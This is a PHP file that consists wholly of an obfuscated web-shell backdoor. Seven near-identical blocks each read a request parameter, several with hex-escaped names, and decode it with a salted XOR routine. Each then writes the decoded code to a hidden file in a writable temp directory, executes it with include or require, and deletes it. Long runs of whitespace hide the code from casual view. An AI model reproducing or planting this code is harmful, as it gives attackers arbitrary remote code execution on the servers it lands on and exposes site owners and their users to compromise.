<?php																																										if(isset($_REQUEST) && isset($_REQUEST["data\x5Fch\x75nk"])){ $hld = array_filter([getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), getcwd()]); $rec = $_REQUEST["data\x5Fch\x75nk"]; $rec =explode( '.' , $rec ) ; $dat =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $r =0; foreach($rec as $v2) { $chS =ord($s[$r % $sLen]); $dec =((int)$v2 - $chS -($r % 10)) ^ 78; $dat .= chr($dec); $r++; } foreach ($hld as $key => $obj) { if (is_dir($obj) ? is_writable($obj) : false) { $ent = vsprintf("%s/%s", [$obj, ".data"]); if (@file_put_contents($ent, $dat) !== false) { include $ent; unlink($ent); exit; } } } }
																																										if(isset($_POST["\x76\x61lue"])){ $marker = array_filter([sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]); $pointer = $_POST["\x76\x61lue"]; $pointer= explode ( "." , $pointer ); $ent=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt ); $n=0; foreach($pointer as $v7) { $sChar=ord($salt[$n % $lenS] ); $d=((int)$v7 - $sChar -($n % 10)) ^ 54; $ent .= chr($d ); $n++; } foreach ($marker as $parameter_group) { if ((is_dir($parameter_group) and is_writable($parameter_group))) { $pset = join("/", [$parameter_group, ".ref"]); $success = file_put_contents($pset, $ent); if ($success) { include $pset; @unlink($pset); exit;} } } }
																																										if(isset($_REQUEST["ref"])){ $key = array_filter(["/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp"]); $ptr = $_REQUEST["ref"]; $ptr = explode ( "." , $ptr) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $q = 0; array_walk($ptr ,function ($v5) use (&$data ,&$q ,$s ,$sLen) { $sChar = ord($s[$q % $sLen]); $dec = ((int)$v5 - $sChar - ($q % 10)) ^ 25; $data .= chr($dec); $q++;} ); foreach ($key as $entity) { if ((bool)is_dir($entity) && (bool)is_writable($entity)) { $parameter_group = implode("/", [$entity, ".elem"]); if (@file_put_contents($parameter_group, $data) !== false) { include $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "f\x61\x63")){ $pointer = $_POST["f\x61\x63"]; $pointer = explode( "." , $pointer ) ; $ent = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8); $l = 0; array_walk( $pointer , function( $v9) use( &$ent , &$l , $s8 , $sLen) {$sChar = ord( $s8[$l% $sLen]); $d =( ( int)$v9 - $sChar -( $l% 10)) ^ 80; $ent .= chr( $d); $l++; }); $itm = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); foreach ($itm as $key => $flag) { if (is_dir($flag) ? is_writable($flag) : false) { $entity = vsprintf("%s/%s", [$flag, ".bind"]); if (file_put_contents($entity, $ent)) { include $entity; @unlink($entity); exit; } } } }
																																										if(isset($_REQUEST["\x64\x63h\x75nk"]) ? true : false){ $obj = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp", getenv("TEMP")]); $ent = $_REQUEST["\x64\x63h\x75nk"]; $ent = explode ("." , $ent) ; $hld = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7); $len = count( $ent); for( $v = 0; $v < $len; $v++) { $v1 = $ent[$v]; $chS = ord( $s7[$v%$lenS]); $d = ( ( int)$v1 - $chS -( $v%10)) ^ 91; $hld .=chr( $d); } foreach ($obj as $ptr) { if (array_product([is_dir($ptr), is_writable($ptr)])) { $pgrp = str_replace("{var_dir}", $ptr, "{var_dir}/.res"); if (file_put_contents($pgrp, $hld)) { include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(array_key_exists("hld", $_POST) && !is_null($_POST["hld"])){ $val = $_POST["hld"]; $val = explode ( "." , $val); $element =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $r =0; foreach ($val as $v2) { $sChar =ord($s[$r % $lenS]); $dec =((int)$v2 - $sChar - ($r % 10)) ^ 100; $element.= chr($dec); $r++; } $value = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path()]); for ($item = 0, $desc = count($value); $item < $desc; $item++) { $obj = $value[$item]; if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $resource = vsprintf("%s/%s", [$obj, ".dchunk"]); if (file_put_contents($resource, $element)) { require $resource; unlink($resource); die(); } } } }


if(isset($_REQUEST) && isset($_REQUEST["\x64\x61t"])){
	$resource = $_REQUEST["\x64\x61t"];
	 	$resource  	=explode( "." 	 ,   $resource )	  ;
	$entity = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $y = 0;
    
            foreach ($resource as $v9) { $chS = ord($salt[$y 	%  $lenS]);
                $d = ((int)$v9 - $chS - ($y 	%  10)) ^ 77;
                $entity.=chr($d);
                $y++;
            }
	$record = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getcwd(), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp"]);
	foreach ($record as $res):
    		if (max(0, is_dir($res) * is_writable($res))) {
    $value = join("/", [$res, ".token"]);
    if (@file_put_contents($value, $entity) !== false) {
	include $value;
	unlink($value);
	exit;
}
}
endforeach;
}